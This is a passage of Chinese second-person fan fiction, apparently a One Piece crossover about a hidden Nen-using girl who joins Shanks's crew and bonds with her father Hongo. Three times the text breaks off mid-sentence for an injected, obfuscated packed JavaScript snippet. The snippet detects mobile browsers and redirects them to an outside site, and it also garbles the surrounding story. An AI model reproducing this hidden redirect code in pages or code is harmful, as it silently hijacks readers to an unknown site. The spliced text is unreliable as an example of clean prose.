你不知道的是,在你偷偷观察着船上的海贼们的时候,他们也在偷偷观察你,并且对你现在的情况非常苦恼。 向来乐忠于开宴会的红发船长在今天随便找了个由头,顶着身后副船长危险的目光再次开启了宴会。 只是本该喧嚣热闹的宴会没有了以往海贼们对大海上一切的高谈阔论,也没有了火热的拼酒,轻松愉快的氛围消失,取而代之的是每个人都在唉声叹气的消极和萎靡。 “咚!”的一声,一个大大的橡木酒杯被砸在桌上,明显喝了不少酒的耶稣布打了个酒嗝,带着微醺的红晕脸露出痛苦的表情,对着埋头喝酒的本乡说,“本乡,算我求你了!你管管她吧!” “你看看她都把我们折磨成什么样了?” “再这么下去,我们真的是连酒都喝不下了呀!” 一旁的路也停下了吃肉的动作,推了下自己的小圆眼睛,露出了个欲哭无泪的表情接着耶稣布的话说:“没错!本乡你看看我,半个月都不到的时间,我脸都瘦了一圈啊!” “她实在是太恐怖了!” “你能想象吗,你刚做好饭,把饭都码好装盘,一个转身,饭突然少了一盘这是什么感受吗?” “还有你每天清点冰箱里的食材,结果第二天清点的量总是和前一天清点的不一样是什么感受吗?” “我一开始还以为是头儿半夜偷吃,结果我发现一整晚都盯着头儿看,第二天厨房还能少东西是什么感受吗?” “我魂都差点被吓飞了啊!” “再这么下去,我要被折磨的神经衰弱了!”说着说着,胖胖的厨师再次想起这段时间的‘遇鬼’经历,委屈的哭了起来。 “够了!”猛灌酒的本乡突然砸下酒杯,打断了路和耶稣布的诉苦声,因为职业关系一直有洁癖保持自己清爽形象的医生此刻看向同伴们的脸上满是胡渣,眼下泛青,眼中布满红血丝,平时整齐扎好的头发此刻也凌乱不堪,全然没有四皇团队大干部的形象,这颓废不堪又醉醺醺的模样活像是什么创业失败的失意中年男。 他拍着自己裸露在外的大胸肌痛苦哽咽的说:“你,你们以为,我就好受吗!” “我,我也已经,很,很久没见过她了。” “有,有一次,夜里,我就是想,想看看她睡觉被子有没有盖好,你们知道,知道发生了什么吗?” 喝醉了的医生惨笑着和同伴说着自己的遭遇:“我,我推门前,还,还能听到房间里的呼吸声。” “结果我刚推开门,TMD床上没人!” “哈哈哈,床上居然没人!好不好笑!” “她对我就警惕成这样!我TMD就想看看她,关心一下她,结果我一推门,人家就醒了,不仅醒了,还跑了!” “我知道,这么多年,我没,没尽过父亲的责任,她,不接受我,我能理解。” “但是,也不用,这么,这么避我如蛇蝎吧......” “我,我就是想尽一下,当父亲的心,稍微,稍微弥补一下她,我有错吗?” 说着说着,这段时间经历了消失多年的初恋终于联系他了,但是初恋要死了到初恋给他生了个女儿再到他的女儿好像不喜欢他再到那次他只是想关心一下女儿,结果女儿在他开门瞬间就逃离了房间的情绪大起罗落落落落依然努力保持情绪稳定,实际压力和情绪都非常糟糕的医生终于在今天他人对你的各种诉苦中崩溃大哭。 听着耳边的哭声,想到自己的遭遇,耶稣布也忍不住痛哭起来。 他也是饱受你折磨的一员,身为这片大海上赫赫有名的神枪手,他对别人的视线非常敏感,这段时间里他总能感觉到有视线在暗地里不停打量观察他们,可偏偏他愣是在船上没有找到和周围的海域找到这双眼睛的主人。偏偏这个时候路白着一张脸跑来告诉他说,船上好像有鬼,因为厨房里的东西总是莫名其妙的突然消失,这让他一下子把两件事结合起来。 好,好像真的有鬼啊....... 啊啊啊啊!他们船上闹鬼啦!! 他颤抖着白着脸和同样害怕的路对视了一下,立马尖叫着抱在了一起,吸引了头儿和贝克曼的注意。 在听到他们说船上有鬼,还在宿醉中的头儿一边捂着还在头疼的脑袋,一边弯腰大笑,差点把自己给笑地上了。 向来淡定的副船长用看白痴的眼神扫了他们一眼淡淡开口:“用你们的见闻色看看,哪来的鬼?” “没错,没错,哪有这么可爱的鬼啊。”终于笑够了的香克斯补充道,“这话要是让本乡听到,小心他找你们麻烦哦。你们知道的,他最近可是有点父爱爆棚了。” 听到这里,他们还有什么不明白,在见闻色的作用下,他们终于“看”到了你,你正躲在船上昏暗无人的角落里蜷缩成一团,大口啃着手里的苹果。 “......”发现确实没有鬼,耶稣布和路迅速分开,做出刚刚什么都没有发生的样子。 虽然已经明白船上没有鬼,只是多了个需要用见闻色才能发现的“透明人”,但是耶稣布还是持续好几天失眠了,没办法,那小鬼视线出现的时间很随机,白天有,晚上有,半夜有,凌晨也有,这一度让耶稣布怀疑你是不是都不用睡觉的! 看着不远处三个抱头痛哭在一起的大干部,贝克曼吐出口烟,问:“你不插手管管?” “?”已经被酒精麻痹了思维的香克斯下意识大着舌头反问,“管什么?” “那个小丫头。”贝克曼隐晦的朝你躲 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“还有她不用见闻色就察觉不到的隐匿本事,就算是CP也没有这样的手段,比起间谍,这种隐匿更像是杀手。” “可我也没听过大海上什么时候有出现过隐匿如此厉害的杀手,那她的本事是从哪来的呢?” “也行是天赋呢。”贝克曼随意的回答着,“这片大海上什么都可能发生。” 他发现香克斯在说起你的时候,眼睛越来越亮,就像是看到了新奇有趣的新玩具的孩子一样。不过他并没有说什么,因为他也很好奇到底是什么才造就了现在的你。 身手不错,下手狠辣果断,敏感,漠视一切,会审时度势,惜命的你有时候其实比他们还像个海贼,可偏偏这一切又不太像是他们查到的那些经历能造就的。 对,还有你身上散发出来的那种奇怪的力量,不是霸气也不是恶魔果实,这一切的一切都让他们对你愈发好奇,他们想要了解你,了解你的人,了解你的力量,所以才放任着你躲在船上偷偷观察的他们。 他们每天都在看着你,观察你的一举一动,看你从路的一个不经意间偷走食物,看你藏在甲板下,透过木板间的缝隙观察耶稣布,看你每当他们在餐厅开宴会躲在桅杆的最高点蜷着身体发呆。 突然间,他们发现,安安静静什么都不做的小小的你有点可爱,像是什么敏感怕人的幼兽躲在暗处悄悄观察外面有没有危险。 好吧好吧,虽然你的行为给他们的船员造成了点小麻烦,但你是如此的可爱,那他们也不是不能原谅你,他们决定把你养在船上,反正只是多张嘴而已,何况你吃的也不多。 那养你的第一步,是不是应该先消除你对他们的害怕,让你从你认为安全的暗处走出来呢? 4. 4 在一个海风和煦,晴空万里的日子里,雷德·佛斯号在一座没有记录在海图上的无人岛停靠着。 一个多月在海上的飘泊让这群海贼迫不及待的想要回到大地母亲的怀抱,又响又急促的脚步声在甲板上响了好久,有不少灰被震落掉在你的头上、衣服上、食物上。 在脚步声消失后,你一边不甚在意的吃着手里沾染上灰尘的面包,一边小心的放出圆,发现在你圆的范围内那些强大的气息在不断远离,直至消失,此刻还停留在你圆内的气息都是些弱小的家伙。 看来他们都上岸了,那要不要趁机逃跑呢?你默默思考着。 不过逃跑的话,现在的你可以逃到哪里去呢? 在你还没想明白这件事的时候,一个带着点戏谑的声音在你耳边炸开。 “诶呀,总算挤进来了,没想到船上还有这种地方啊。”香克斯带着他标志性的笑容出现在你面前,他深邃黝黑的瞳孔里倒映着满脸震惊的你。 你:!!! 他怎么知道你躲在哪里的! 看着离你越来越近的大脸,你放弃了思考他为什么会知道你躲藏位置这件事,果断将缠缠绕包裹起手里还没吃完的小半块面包,狠狠朝男人的笑脸砸了过去,然后看也没看迅速推开左手边的一个木箱,朝着木箱后出现的一条小道窜了进去。 其实你躲藏位置的空间很小,是你在他们船上一个堆满箱子仓库重新整理以后隔出来的一小块空间,刚好可以容纳你坐着,还可以透过甲板缝隙观察外面,但是为了避免如果发生意外,你进出这里的唯一道路会被堵住,所以你有给自己留了一条逃生通道,也就是你现在在爬的这条小道。 不到几秒你就爬到了小道的尽头,小心探头朝左右两侧看了下,在看到那双带毛的小腿还在你刚刚待的位置扑腾的时候,你轻轻落地,没有发出一点声响的朝仓库大门外跑去。 就在你刚跑出去的刹那间,有只手拽住了你的后衣领,然后那么往上一扔,把你夹在了胳膊下。 “抓到你咯~小~老~鼠~” 很好,谁抓住了你已经很明确了,你感受着夹在你腰间的力道,稍微尝试着动了一下。很好,是你不可能挣脱开的力道,于是你果断放弃挣扎,像条死鱼一样任由香克斯把你带走。 香克斯看着胳膊下不再挣扎的你,满意的嘿嘿笑了两下,结果扯到了刚刚被你用面包砸中额头鼓起的大包,又疼得‘嘶’了一声。 不是武装色霸气,确有和武装色霸气一样效果的能力吗?他看着你的目光中闪过了探究的光芒。 香克斯把你带回了他的船长室,在顺便用脚把门关上后,他把你扔在了他的床上,虽然动作粗鲁了点,但是力道恰到好处,反正你被扔到床上的时候没感觉到什么疼,你警惕着看着大刀阔斧坐在你面前的香克斯,不知道他想干什么。 “好了小姑娘,让我们来好好谈谈吧。”香克斯露出和善的表情,语气也是少有的温柔,“别害怕,我不会伤害你的。”说着,他就抬手,想安抚的摸摸你的头,但是在对上你不信任的眼神,有些挫败的把手收了回去,“诶呀,我就是想摸下你,你不喜欢就算了嘛。” 你警惕的盯着香克斯看了很久,但是他看你的目光一直都十分柔和,周身气息也没有了他之前给你的那种危险感,这时你才小心的从蜷缩状态变成坐在床沿边,和他面对面。 “你想谈什么?”你一边盯着他的眼睛一边小心发问。 “嗯...我想和你谈的其实还蛮多的,不过——”看到你终于不再是一碰就要炸的状态,香克斯也多了几分嬉皮笑脸,“不过,可以先告诉我你的名字吗?” “这是我们第一次正式认识时,你还没告诉我的呢。”香克斯的脸上是灿烂的笑容。 或许是香克斯的笑看上去有点傻,又或许是他此刻释放出来的信号确实让你安心,总之,你顿了下,告诉了他你叫:“...蜘蛛,你可以叫我蜘蛛。” 是的,你才不会把自己名字告诉他,交换姓名可是同伴之间才会做的事情,所以你选择了上辈子老家那个出名的A级盗贼团的别称告诉了他。 盗贼对海贼,刚刚好。 香克斯:“......” 有些无奈的香克斯不用看你的表情就能知道蜘蛛这个肯定是个假名,不过有个你主动说出来的称呼总比你什么都不说要好,所以他也没急着拆穿你,只是面露疑惑的挠了挠头说,“你妈妈给你起的这个名字还真奇怪啊。” 你:...... 你和香克斯之间的氛围再次有些凝固。 “啊,不过想取什么名字,都是大家的自由。”香克斯强行找补,不让自己的话落地上,“不过这名字要是让嘎布知道,他估计会害怕的。”说完,他才是想起来什么,又问你,“对了,你知道嘎布是谁吗?就是那个牙齿尖尖,长得很高大,看起来像野兽一样凶的家伙,他就是嘎布。” “不过你别看他长得凶,其实嘎布胆子很小的,尤其害怕虫子。”香克斯笑嘻嘻的说着自家船员的弱点,说完还朝你wink了一下,“所以小蜘蛛不可以吓唬他哦~” 你:“......你把我抓过来就想和我说这些?” “当然不是,而且我也不叫抓,实在是小蜘蛛你都不出现在大家面前,我没法正常的和你沟通交流,才出此下策的。”香克斯恢复了正经的模样,开始了正题,“所以,我想和你谈谈,能不能不要再继续躲在暗处了呢?” “我的船上啊,有几个家伙虽然可以面不改色的斩杀敌人,也不畏惧未知的危险,但有时候胆子特别小,比如像嘎布,他害怕虫子,还有些人,他们害怕‘鬼’。” “你这一个多月来神出鬼没的行为已经完全吓到他们了,害的他们吃不好、睡不好, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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你想了半天,然后在香克斯带着期待的目光中,非常认真的对他说:“我擅长杀人。” “啊?”这个擅长有点超出寻常,以至于就连香克斯也被噎了一下,他不知道在想什么,面露苦恼和困惑,抓了抓头发,一边偷偷瞄你两眼一边小声嘟囔着:“杀人?怎么会有人擅长杀人呢?不过小姑娘看上去是认真的啊......这样的话就安排成战斗员吧......” 然后像是想通了什么,香克斯一脸轻松的笑着对你说:“既然你没有什么打算,也没什么特别想做的,那就在我们船上当战斗员吧。” “什么?”你一时之间没有反应过来,“什么战斗员。” “就是做我船上的战斗员呀。”香克斯笑嘻嘻的指着自己,向你宣布着,“欢迎你加入红发海贼团,成为我们新的战斗员。” 你:...... “我什么时候说过要加入你们了?!别太自说自话了啊!” 5. 5 因为某些人的自说自话,你成为红发海贼团的战斗员已经有半年了,不过在那之前,你当了有小半个月的后厨帮工,在每天除了洗菜、切菜、削土豆就是洗菜、切菜、削土豆。 嗯,本乡要求的。 一开始自说自话就决定让你加入海贼团的家伙把你推到所有人面前宣布你是海贼团新的战斗员时,本乡的脸都黑了,然后他找了香克斯。 听完本乡的请求后,香克斯深深看了眼自家写满担忧的船医一眼,抬手拍了拍他的肩,笑了笑,“既然本乡你这么坚持的话,那就让小蜘蛛去后厨帮路打下手吧,不过——” “本乡,我觉得你也该从‘过分担忧的父亲’角色里出来了,好好的,客观的,认识一下小蜘蛛吧。” “真是没想到,本乡当爹的滤镜居然比耶稣布还可怕啊。”看着船医离开的背影,香克斯摇了摇头叹气,“我们的小蜘蛛,可不是什么小猫咪啊。” 于是,半夜喝多了的香克斯就这么翻窗闯进了你的房间,在你被惊醒准备逃跑的第一时间,他的大手先一步落在了你的脑袋上,像是揉什么有趣的玩具一样把你自从她离世以后就没怎么打理过的长发揉的一团乱,然后看着你的鸟窝头哈哈大笑。 你:......可恶!你迟早会剁了这家伙剩下的手! “啊,对了,我是来告诉你,明天开始到后厨给路当帮手。”在你想杀人的目光中香克斯笑嘻嘻的嚯嚯完你的头发又开始捏你的脸,说着让你无语的话,“本乡老父亲的滤镜真是厚,居然那么认真的来向我提出请求,害怕你会在战斗中受伤,所以没办法,小蜘蛛你只能去厨房当厨娘啦~” “我做饭很难吃的。”你的视线落在那只捏着你脸的大手,又把视线转到看起来喝醉了的红发男人脸上,盘算着怎么小小报复一下他。 “哦,没事没事,大家对吃的不是很挑,吃不死人就可以了。”红发船长不负责任的发言。 吃不死人啊~你露出了一个大大的,意味深长的笑,这可真不好说,毕竟你上辈子做的东西被同伴称为是可以和玛琪的厨艺一较高下的程度。 酒喝的有点晕乎的香克斯像是感受到什么危机突然一个激灵,清醒了几分,在看到你的笑时瞪圆了眼睛,把他的大脸凑近了你,眼里闪烁着新奇的光芒:“欸,小蜘蛛你居然会笑,你一直都板着个脸,我还以为你是面瘫呢。” 香克斯的脸离你只有一个拳头的距离,这个距离下你可以清晰的感受到到从他口鼻中呼出的带着浓烈酒味的炽热气息,也能清晰的看到他眼底那抹稍纵即逝的惊艳,你加深了脸上的笑意,像是只柔顺的小猫露出柔软的肚皮一样无害,主动凑近了男人的脸,在你们的呼吸开始彼此交缠,你听到了男人不断吞咽口水的声音,在你的唇像是将要落在男人嘴角的时候,男人明显慌乱的伸手推你肩膀,想要拉开你们之间的距离,他的头也抬高偏侧。 “你,你,你,这不,我,不是,本乡......”香克斯以为你要亲吻他,慌乱的都语无伦次了,没发现他的脖子此刻完全暴露在你的视线中。 下一秒,你趁着香克斯的慌乱伸手抱住他的脑袋,在他震惊的“诶呀,你要做什么?!”声中,用力往下拉,一个迅雷不及掩耳盗铃之势你凶狠的咬上了那截脖子。 你打不过他,还咬不疼他吗?怀着这样的报复心理,你尖锐的犬牙又用力几分,很快就尝到了铁锈般的血腥味,中间好像还夹杂了点朗姆酒的辛辣。 这家伙,果然已经被酒腌入味了吗? “嗷嗷嗷!!!”香克斯的狗叫声响破天际,惊醒了在甲板上喝醉躺尸的船员们,同时也招来了熬夜计算财政支出的副船长。 贝克曼看看在你房间里捂着脖子跳脚乱嚎的香克斯,再看看啐了口带血唾沫满脸桀骜的你,像是明白了什么,他深吸了口气,语气平静的先是对你说了声:“我会给你个交代的。”然后像是突然爆发的火山一样踩着难以遏制的怒火一把抓住香克斯的头发把人拖走了。 没多久,甲板上就传来了香克斯新一轮的惨叫声,同时还伴随着船员们带着醉意的哄笑声。 反正第二天早上你走出房间时看到的就是被倒掉在桅杆最高处的红毛猪头,脖子上还有你昨晚咬的咬痕。 你能重新变回战斗员这事得感谢不长眼前来挑衅四皇的海贼们,当时因为你展现出来的料理技术太过石破天惊,被惊掉下巴的路不敢让你触碰任何一样厨具,只让你负责洗菜、切菜、削土豆的工作,就在你以为今后都要做这些无聊打杂工作的时候,红发海贼团遇袭了。 遇袭的时候,你正坐在小马扎上削土豆,路则是哼着小曲悠然自得的炒着小山一样的炒饭,甲板上突然传来守备人员响亮的“敌袭!”喊声。 圆滚滚的路直接关了灶台的火,一边兴奋的拎着枪跑出去迎敌一边把厨房的大门给锁上,边锁边说,“小蜘蛛你就待在厨房好好削土豆哦~” 你:...... 笑话,有敌人来袭,你为什么还要在厨房削土豆?当然是打架去啊! 已经很久没有正儿八经战斗过了的你嗅到了从空气中传来的硝烟味和久违了的血腥气,一时间你灵魂里对战斗的渴望被唤醒,你兴奋的战栗着,丢下土豆,拎着用来削土豆的小刀就从窗户翻了出去。 你很幸运,刚走两步就对上了从船舷爬上了的海贼,对方在看到你的时候眼睛都亮了,露出邪恶的笑容,肆无忌惮的目光舔舐着你裸露在衣物外的肌肤上,边高举着大刀朝你跑来边呼喊着其他还没爬上来的同伴:“你们快来啊!红发的船上居然有个白嫩的幼女!” 白嫩的幼女......这个称呼把你干沉默了。 你低头看看自己还没怎么饱受毒辣的太阳和海风摧残确实比船上其他人白皙细腻了不止两个度的皮肤...... 好吧,白嫩这个词你勉强接受了,但是幼女...... 虽然你确实长得矮,还有张可爱的娃娃脸,但是,你,的的确确,已经是个十九岁的成年人了! 你看着那些在听到喊声朝你扑来的写满兴奋和欲望的海贼们,第一时间放开了圆,感知着敌人的气息,有圆在你可以很清楚的知道这些海贼们的动向。 你舔了下唇,露出了和敌人同样充满血腥的笑容,看着他们的眼神也是狩猎时的愉悦。 只是一个照面,那个说你是白嫩幼女的家伙就被你用小刀像是切豆腐一样划断了喉管,整个脑袋和脖子间就只剩点皮还勉强连着。 敌人喷洒出的温热血液像雨一样淋了你满身,抬手抹了把脸,你的手指勾到了打结在一起的发丝。你看着手里被鲜血染湿的长发,果断挥刀,将你的一头及腰长发截短到肩,反正会帮你梳理头发的人都不在了,这头长发只会碍你的事。 头发变短以后,你明显感觉脑袋都轻了不少,左右晃了晃,发现长度刚刚好,凉爽又不碍事。 “你!”看着你只是一击就将自己同伴杀死的海贼愤恨着举起燧发枪对你射击,“去死!去死!去死!”瞪大的眼睛里却布满了恐惧的血丝。 你侧头躲开子弹,向前一个猛冲,在海贼惊惧的目光中来到了他的身前,缠着念的小刀向上轻轻一划,又一个海贼倒下。 随着你杀的敌人越来越多,你这边的动静也越来越大,吸引了在甲板主战场中的大干部们的注意力。 “那个方向,好像是厨房啊?”莱姆琼斯一棍打飞其他破坏他们船体的海贼们朝你闹出动静的方向看了看。 “放心吧,我把厨房门锁了,小蜘蛛在厨房里好好削土豆不会有事的。”路一边吃着大骨肉,一边一枪崩掉不断冲过来的敌人。 “不是,你们就把小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513260|186181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姑娘一个人放厨房吗?”在瞭望台把敌船上那些火炮手狙掉的耶稣布听到对话放下枪,不满的朝底下的人喊道,“厨房除了门,还有窗吧!要是敌人顺着窗爬进厨房怎么吧啊?!” “......”只想着门锁起来就没事忘记厨房还有窗可以爬的路沉默了,然后吓得手里的肉都掉地上了,“完蛋了!我忘记了这点!” “而且,你把门锁了,这不是有危险跑都没地方跑了吗?!” “啊啊啊,那怎么吧啊!不会真这么巧吧!!!”路崩溃的朝厨房跑去,一脚把门踹开,发出了尖锐的爆鸣声,“天啊!小蜘蛛真的不见啦!!!” “什么?!!”听到人不见的本乡慌了神,险些被敌人的刀砍刀,好在莱姆帮他挡了一下。 “战斗中别分心啊。”莱姆酷酷的推了下鼻梁上的墨镜。 “谢谢了莱姆。”女儿不见了,本乡此刻已经没有了继续战斗的心,他边闪躲敌人的攻击边跑到厨房,一把推开路庞大的身躯,看着空无一人的厨房,他瞬间感觉到天旋地转的眩晕感,不会的,你不会出事的!他强行压下心头泛起的恐慌,镇定的走到窗边向外看,四处喷溅的鲜血和满地的尸体,只一眼他就知道,那些尸体都不是你,他稍稍松了口气,顺着尸体的方向一路走去,终于看到了你,看到了正在厮杀中的,满身鲜血的你。 久违了的厮杀,让你现在感觉好极了,有种重回老家的既视感。 你在生与死的厮杀氛围中上了头,一个、两个、三个......你已经数不清第几个敌人死在你的手上了,手上的小刀在刚刚和一个手会变成黑色金属色的家伙打斗中不知道被震飞到哪里去了,不过没关系,对强化系来说,身体才是最好的武器。 本乡找到你的时候,你正在和这个能把部分身体变成黑色金属色的家伙战斗,这个家伙和那些轻易死在你手下的小喽啰完全不同,他厉害很多,变成黑色金属色的部分很坚硬,有点像你的硬,但是硬不会让身体发生颜色变化,你的每次攻击他都能精准躲过,就像是预判了你的攻击一样。 啧,真是麻烦啊。 你捂着被折断的左手,快速的把错位的骨头掰正,脱下上衣把骨折的部位牢牢缠起,算是做了个简易到不能再简易的固定。 “哦~”看到你的动作,你的敌人兴味的摸着下巴看了你几眼,挑了下眉,说,“小姑娘,你杀了我这么多人,我必须杀了你才行啊。不过——你的眼神我很喜欢,怎么样,只要你加入我们,我就放你一马。” “这可不行啊。”替你回答的,是不知道什么时候已经从你身后走到你面前的本性,他一把把你挡在身后,“她是我们红发海贼团重要的战斗员,怎么可能让敌人杀死或带着。” 在见过那一地尸体和你战斗时猛兽一样的眼神,本乡不得不脱下对你的八百米滤镜,重新认真的审视认识你。 头儿说的对,是他被愧疚蒙蔽了双眼,看不清你到底是需要保护的小猫还是凶狠的野兽。 这场战役的结果毋容置疑,是红发海贼团的大获全胜,他们搜刮了敌船上所有的财宝物资,而敌人全部葬身大海。 做为船上少数的伤员之一,你也不得不和其他伤员一样接受本乡的治疗。 “......对不起。”沉默着帮你重新固定好骨头打伤石膏的本乡突然道歉,“之前,我总觉得你还是个孩子,需要我的保护,所以我去求了头儿,让他给你安排个安全的活。” “但是现在看来,是我错了......你能原谅我吗?”船医低着头,像是害怕什么,不敢抬头看你。 “哦,好啊。”你试着挥了挥被固定好的手淡淡回答,“对我来说,是在厨房当帮工也好,还是做战斗员也罢都没有区别。” 是的,都没有区别,毕竟你从来没告诉过他们你的姓名,不是吗? 6. 6 你一直都知道这辈子的自己长得不高,一开始以为是因为基因问题,毕竟你母亲也才165左右,如果提供你基因另一半的男人身高也不高的话,那生出155的你也是很正常的。但这个认知在你真正看到你生物学父亲本乡的时候,你就知道你错了。 本乡不矮,甚至还比你生活的岛上的男人们都高,你目测过,怎么都在190了,那么问题来了,你为什么会这么矮呢? 难道真的是因为你以前吃的太差营养不够所以才没长高? 和你有着同样观点的,还有红发海贼团的成员们。 再一次的宴会上,已经喝得半醉的众人里不知道是谁突然提出了这样的问题:“所以,明明本乡大哥这么高,为什么他的女儿只有雷德号的船舷这么高啊?” 明明说话人的声音也不大,淹没在海贼们吵闹的聊天、打牌声中毫不起眼,但不知道怎么,这个问题偏偏就被大干部们都听见了,引起了他们的好奇,尤其是勾起了船长强烈的好奇心。众人纷纷放下酒杯,目光投向独自抱膝坐在船头龙首上看日落的你身上,长期不用的大脑开始思考起这个问题的答案。 宾治摸着下巴,光光的脑袋突然灵光一闪:“难道是因为母亲不高吗?” 本乡回忆了下记忆中你母亲的样子,摇摇头:“她有165,在女生身高里不算矮了。” 第二个回答的是耶稣布:“难道是隔代遗传?” 本乡死鱼眼看着耶稣布:“不管是我的父母还是她的父母都没有低于165的。” “欸,你们还见过家长了?”耶稣布发现了新的八卦点。 “...没有,她父母在我们认识前就死于海贼手中,但是她有给我看过照片。”本乡嫌弃的推开耶稣布八卦的嘴脸。 “我觉得——”路一边嚼着肉一边含糊不清的说,“也许是因为营养不够呢。” “小蜘蛛以前肯定都吃不饱,还没有肉吃,所以才这么瘦小。” 本乡想到他给你做的体检报告上的身体数据,叹了口气:“她的身体壮实的和小牛犊一样,虽然比不上你们这群大猩猩,但绝对不是缺少营养可以有的健康。” “那是什么原因才这么矮呢?”一连几个猜测都被你的亲生父亲兼船医的本乡毙掉,海贼们开始了各种奇怪的猜测,主打一个不负责任。 “那是不是因为小蜘蛛都不怎么笑啊,天天板着脸变小老太太了啊?” “或者是因为不喝牛奶?我以前每天都要喝牛奶,所以才长得现在这么高。” “难道是因为吃的太少了?” “我知道了,是因为挑食!” “笨蛋,小蜘蛛才不挑食呢,她基本上给什么吃什么。我上次看到头儿把自己烤焦的鱼给她,她都面不改色的吃光了。” “啊?这么厉害吗?头儿上次也拿给我了,我尝了一口就苦的吐出来了,她居然能全吃光?” 猜测逐渐离谱,话题越来越偏,他们看你的好奇眼神也越来越多,刺得你背有点痒痒的。 “也许,是因为我们的小蜘蛛还在发育中呢?”这是不怎么靠谱的船长大人想了半天后的答案。 本乡无语的看着一脸自信的船长说:“头儿,我女儿已经成年了。” “欸—?!”红发船长做着夸张的疑惑表情,明显不相信你已经是成年人这件事,“骗人的吧,小蜘蛛才这么点,怎么看都像个十来岁的孩子啊。” “你居然任性的把十来岁的孩子拉上船当战斗员?”这是来自副船长的嗤之以鼻。 “真这样的话,头儿你可真不是一般混蛋了。”同为有孩子的老父亲耶稣布发表了自己对船长行为的唾弃。 “这种事我要听当事人承认啊。”厚脸皮的船长笑嘻嘻,副船长和狙击手的唾弃对他造成不了任何伤害,他对着孤零零的你大喊道:“小~蜘~蛛~!” “小~蜘~蛛~!” 你抬手挠挠后背,本不想理会那群海贼们,但是身后的声音像叫魂一样一声声不停传来,大有一种你不理会就一直叫下去的架势,吵得你心烦。 最后你迈着六情不认的步伐走到叫魂人的面前,双手抱在胸前,扬着你不屈的头颅,斜眼看着满身酒味笑嘻嘻的家伙,浑身散发出暴躁的气息,非常不爽的开口:“喊你爹干嘛?” “欸?” 没想到你开口就是占人便宜粗话的海贼们脸上的笑容集体一僵,向来靠谱的副船长默默拿下嘴里的烟掐灭,问你:“这话是谁教你的?” 你斜眼不屑的看了眼他,扭头:“干你屁事。” 贝克曼:...... 贝克曼的眼神逐渐危险,视线从平时就喜欢说粗话的船员脸上一一扫过,似乎是像从中找到教坏你的人,但是每个和他对上视线的海贼都慌张的摇头表示不是自己,一时间找不到罪魁祸首,他的视线最后回到你桀骜不驯的脸上,轻叹了口气,摸了摸你想躲却没躲开的脑袋:“女孩子不要说这么粗鲁的话。” 再次被迫被人摸脑袋的你憋屈的只能“哼!”了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513261|186181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声表示不满,心里面已经骂骂咧咧的骂开了。 摸摸摸,摸你爹的摸!叫你过来就是为了摸你的头吗?是自己没头不能摸吗?长得高了不起啊?有事没事就摸你头,都把你给摸矮了!你早晚会把这群打了生长激素的家伙的腿砍掉两截,等他们比你矮了,你也天天摸他们的头! 香克斯脸突然凑近,看了你半天后,非常笃定的说道:“你在骂我们。” “......”被说中了的你眼神漂移了一下,但是对于香克斯这种没有证据的话你是坚决不会承认的,嘴硬的你立马反驳道:“我没有!你个臭海贼在胡说!” 本来只是看你表情香克斯直觉你可能在心里蛐蛐他们就炸一炸你,但你的反应让他是非常肯定你就是在心里骂他们了,而且肯定骂的很难听。 于是香克斯装作生气的摸样,板着脸伸手像是在玩什么软乎乎面团一样捏扯着你的脸说:“居然敢在心里骂船长,这是大不敬啊!在船上是要被倒吊在桅杆上示众三天的。” “不过船长我大人有大量,只要你说出你的年龄,本船长就放过你了。” “可恶!里等着!唔早晚会吓了里!”被捏疼了的你脾气更差了,对着香克斯粗壮的手臂拳打脚踢,企图打断他的手,让他当两天无臂人,结果这家伙像是提前知道了你的想法整个手臂都变成了黑色的金属色。 周围其他人看着香克斯逗小孩一样的逗你玩都发出了善意的笑声,纷纷调侃起香克斯。 “头儿,你太坏了,居然还用武装色霸气,小蜘蛛的手脚要打疼了吧!” “头儿你差不多点得了,别把我们船上唯一的女孩子给气坏了!” “头儿就是喜欢逗小孩,以前路飞也是的,总是被头儿逗的气急败坏的!” “是呀,也不知道路飞现在怎么样了,再过两年也到了可以出海的年纪了吧!” 一众海贼突然陷入过往的回忆中,只有本乡向你投来担心的目光,而你则是气急败坏的对着他们吼道:“里们说谁小孩?!老念已经十八了!” “欸?居然真的成年了吗?”听到你的年龄,香克斯终于松开了手,捏着下巴上下打量了你片刻,露出失望的表情的说,“完全是小丫头的身材嘛。” 岂可修!这混蛋到底在失望点什么啊!你捂着被捏红的脸恶狠狠的刮了重新和船员们碰杯喝酒大笑的红发男人。 早晚有一天,你会让这家伙知道你的厉害!还有那种会让身体变色变硬的能力你也迟早会知道是什么的! 7. 7 在雷德·佛斯号上的日子无疑是惊险刺激的,不管是新世界反复无常的天气、诡变莫测的大海还是那些不同岛屿上的不同人文风景、无人岛屿上的探索寻密,亦或者是在缺少物质和金钱的时候打劫打劫过路的海贼船,虽然有时候也会有长时间的让人无聊的平静,但这终究是少数,谁让这艘船的船长是个闲不住的呢?而这种总是不知道下一秒会发生什么的未知感让你有种说不出的安心。 “好热啊好渴啊......” 你端着杯水边喝边从甲板上吐舌躺尸的海贼们中穿过,你悠然自得的模样和这群像是快被晒成咸鱼干的海贼成了鲜明对比。 